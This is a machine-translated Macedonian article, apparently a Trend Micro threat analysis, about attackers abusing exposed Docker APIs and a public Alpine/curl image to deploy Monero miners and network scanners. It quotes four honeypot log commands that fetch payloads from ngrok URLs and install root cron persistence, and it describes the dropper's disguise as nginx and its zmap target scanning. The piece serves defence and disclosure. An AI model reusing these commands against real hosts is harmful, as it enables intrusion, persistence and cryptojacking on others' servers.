Како некомерцијалниот Docker API и јавните слики од заедницата се користат за дистрибуција на рудари за криптовалути

Ги анализиравме собраните податоци со помош на контејнери со саксии, кои ги создадовме за да ги следиме заканите. И откривме значителна активност од несакани или неовластени рудари на криптовалути распоредени како непријателски контејнери користејќи слика објавена од заедницата на Docker Hub. Сликата се користи како дел од услугата која обезбедува малициозни рудари за криптовалути.

Дополнително, инсталирани се програми за работа со мрежи за да навлезат во отворени соседни контејнери и апликации.

Ги оставаме нашите саксии како што се, односно со стандардни поставки, без никакви безбедносни мерки или последователна инсталација на дополнителен софтвер. Имајте предвид дека Docker има препораки за првично поставување за да се избегнат грешки и едноставни пропусти. Но, користените саксии се контејнери, дизајнирани да откриваат напади насочени кон платформата за контејнеризација, а не апликациите во контејнерите.

Откриената злонамерна активност е исто така забележлива бидејќи не бара пропусти и исто така е независна од верзијата Docker. Пронаоѓањето на неправилно конфигурирана, а со тоа и отворена слика на контејнер е сè што им е потребно на напаѓачите за да заразат многу отворени сервери.

Незатворениот Docker API му овозможува на корисникот да изврши широк опсег на тимови, вклучително и добивање листа на тековни контејнери, добивање логови од одреден контејнер, стартување, запирање (вклучувајќи принудно) па дури и создавање нов контејнер од одредена слика со наведени поставки.

Лево е методот за испорака на малициозен софтвер. На десната страна е околината на напаѓачот, која овозможува далечинско исфрлање на сликите.

Дистрибуција по земја на 3762 отворени Docker API. Врз основа на пребарувањето на Шодан од 12.02.2019 година

Опции за синџир за напад и носивост

Злонамерната активност беше откриена не само со помош на саксии. Податоците од Shodan покажуваат дека бројот на изложени Docker API (види вториот графикон) се зголемил откако истражувавме погрешно конфигуриран контејнер што се користи како мост за распоредување на софтверот за ископување криптовалути Monero. Во октомври минатата година (2018, тековни податоци можеш да изгледаш вака прибл. преведувач) имаше само 856 отворени API.

Испитувањето на дневниците на саксијата покажа дека користењето на сликата на контејнерот исто така е поврзано со употребата на нгрок, алатка за воспоставување безбедни врски или препраќање сообраќај од јавно достапни точки до одредени адреси или ресурси (на пример localhost). Ова им овозможува на напаѓачите динамички да креираат URL-адреси кога доставуваат товар на отворен сервер. Подолу се прикажани примери на код од дневниците кои покажуваат злоупотреба на услугата ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Како што можете да видите, поставените датотеки се преземаат од постојано менување на URL-адреси. Овие URL-адреси имаат краток датум на истекување, така што товарите не може да се преземат по истекот на рокот.

Постојат две опции за носивост. Првиот е компајлиран ELF рудар за Linux (дефиниран како Coinminer.SH.MALXMR.ATNO) кој се поврзува со рударскиот базен. Втората е скрипта (TrojanSpy.SH.ZNETMAP.A) дизајнирана да добие одредени мрежни алатки кои се користат за скенирање на мрежни опсези и потоа пребарување на нови цели.

Скриптата dropper поставува две променливи, кои потоа се користат за распоредување на рударот за криптовалути. Променливата HOST ја содржи URL-то каде што се наоѓаат малициозните датотеки, а променливата RIP е името на датотеката (всушност, хашот) на рударот што треба да се распореди. Променливата HOST се менува секогаш кога се менува хаш-променливата. Скриптата, исто така, се обидува да провери дали други рудари на криптовалути не работат на нападнатиот сервер.

Примери на променливи HOST и RIP, како и парче код што се користи за да се провери дали други рудари не работат

Пред да започне рударот, тој е преименуван во nginx. Други верзии на оваа скрипта го преименуваат рударот во други легитимни услуги што може да бидат присутни во околините на Linux. Ова е обично доволно за да се заобиколат проверките на списокот на процеси кои се извршуваат.

Скриптата за пребарување има и карактеристики. Работи со истата URL услуга за да ги распореди потребните алатки. Меѓу нив е и бинарниот zmap, кој се користи за скенирање на мрежи и добивање листа на отворени порти. Скриптата, исто така, вчитува друга бинарност што се користи за интеракција со пронајдените услуги и примање банери од нив за да се утврдат дополнителни информации за пронајдената услуга (на пример, нејзината верзија).

Скриптата, исто така, однапред одредува некои мрежни опсези за скенирање, но тоа зависи од верзијата на скриптата. Исто така, ги поставува целните порти од услугите - во овој случај, Docker - пред да се изврши скенирањето.

Штом се пронајдат можни цели, банерите автоматски се отстрануваат од нив. Скриптата, исто така, ги филтрира целите во зависност од услугите, апликациите, компонентите или платформите од интерес: Redis, Jenkins, Drupal, MODX, Кубернетес мајстор, клиентот Docker 1.16 и Apache CouchDB. Ако скенираниот сервер се совпаѓа со некој од нив, тој се зачувува во текстуална датотека, која напаѓачите подоцна можат да ја користат за последователна анализа и хакирање. Овие текстуални датотеки се поставуваат на серверите на напаѓачите преку динамични врски. Односно, за секоја датотека се користи посебен URL, што значи дека последователниот пристап е тежок.

Векторот за напад е слика на Docker, како што може да се види во следните две парчиња код.

На врвот е преименување во легитимна услуга, а на дното е начинот на кој zmap се користи за скенирање мрежи

На врвот се предефинирани мрежни опсези, на дното се специфични порти за пребарување на услуги, вклучувајќи го и Docker

Сликата од екранот покажува дека сликата со алпски виткање е преземена повеќе од 10 милиони пати

Врз основа на Alpine Linux и curl, алатка за CLI ефикасна за ресурси за пренос на датотеки преку различни протоколи, можете да изградите Докер слика. Како што можете да видите на претходната слика, оваа слика е веќе преземена повеќе од 10 милиони пати. Голем број преземања може да значи користење на оваа слика како влезна точка; оваа слика е ажурирана пред повеќе од шест месеци; корисниците не преземале други слики од ова складиште толку често. Во Докер влезна точка - збир на инструкции што се користат за конфигурирање на контејнер за да го стартува. Ако поставките за влезната точка се неточни (на пример, контејнерот е оставен отворен од Интернет), сликата може да се користи како вектор за напад. Напаѓачите можат да го користат за доставување товар ако најдат погрешно конфигуриран или отворен контејнер оставен неподдржан.

Важно е да се напомене дека оваа слика (алпско-навивам) сама по себе не е злонамерна, но како што можете да видите погоре, може да се користи за извршување на малициозни функции. Слични слики на Docker може да се користат и за извршување на малициозни активности. Го контактиравме Докер и работевме со нив на ова прашање.

Препораки

Неправилно поставување останува постојан проблем за многу компании, особено оние кои имплементираат DevOps, фокусирана на брз развој и испорака. Сè е влошено од потребата од почитување на правилата за ревизија и следење, потребата од следење на доверливоста на податоците, како и огромната штета од нивното непочитување. Вградувањето на безбедносната автоматизација во животниот циклус на развојот не само што ви помага да пронајдете безбедносни дупки кои инаку би можеле да останат неоткриени, туку исто така ви помага да го намалите непотребниот обем на работа, како што е извршување на дополнителни софтверски изданија за секоја откриена ранливост или погрешна конфигурација по распоредувањето на апликацијата.

Инцидентот дискутиран во овој напис ја нагласува потребата да се земе предвид безбедноста од самиот почеток, вклучувајќи ги следните препораки:

• За системски администратори и програмери: Секогаш проверувајте ги поставките за API за да бидете сигурни дека сè е конфигурирано да прифаќа барања само од одреден сервер или внатрешна мрежа.
• Следете го принципот на најмалку права: осигурајте се дека сликите од контејнери се потпишани и потврдени, ограничете го пристапот до критичните компоненти (услуга за лансирање контејнер) и додадете шифрирање на мрежните врски.
• Следете препораки и овозможуваат безбедносни механизми, на пр. од Докер и вграден безбедносни карактеристики.
• Користете автоматско скенирање на траење и слики за да добиете дополнителни информации за процесите што се извршуваат во контејнерот (на пример, за откривање на измама или пребарување на пропусти). Контролата на апликацијата и следењето на интегритетот помагаат да се следат ненормалните промени на серверите, датотеките и системските области.

Trendmicro им помага на тимовите на DevOps да градат безбедно, брзо да се пуштат во употреба и да стартуваат насекаде. Тренд микро Хибридна безбедност на облакот Обезбедува моќна, рационализирана и автоматизирана безбедност низ нафтоводот DevOps на организацијата и обезбедува одбрана од повеќекратни закани XGen за заштита на физичките, виртуелните и облачните оптоварувања при извршување. Исто така, додава безбедност на контејнерот со Длабока безбедност и Паметна проверка на длабока безбедност, кои ги скенираат сликите на контејнерите на Docker за малициозен софтвер и пропусти во која било точка од развојот за да ги спречат заканите пред да бидат распоредени.

Знаци на компромис

Поврзани хаши:

• 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
• f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

На Докер видео курс Звучниците кои вежбаат покажуваат кои поставки треба прво да се направат за да се минимизира веројатноста или целосно да се избегне појавата на ситуацијата опишана погоре. И тоа на 19-21 август на онлајн интензивно DevOps Tools&Chats За овие и слични безбедносни проблеми можете да разговарате со колегите и со наставниците практични на тркалезна маса, каде секој може да зборува и да ги слуша маките и успесите на искусните колеги.

Извор: www.habr.com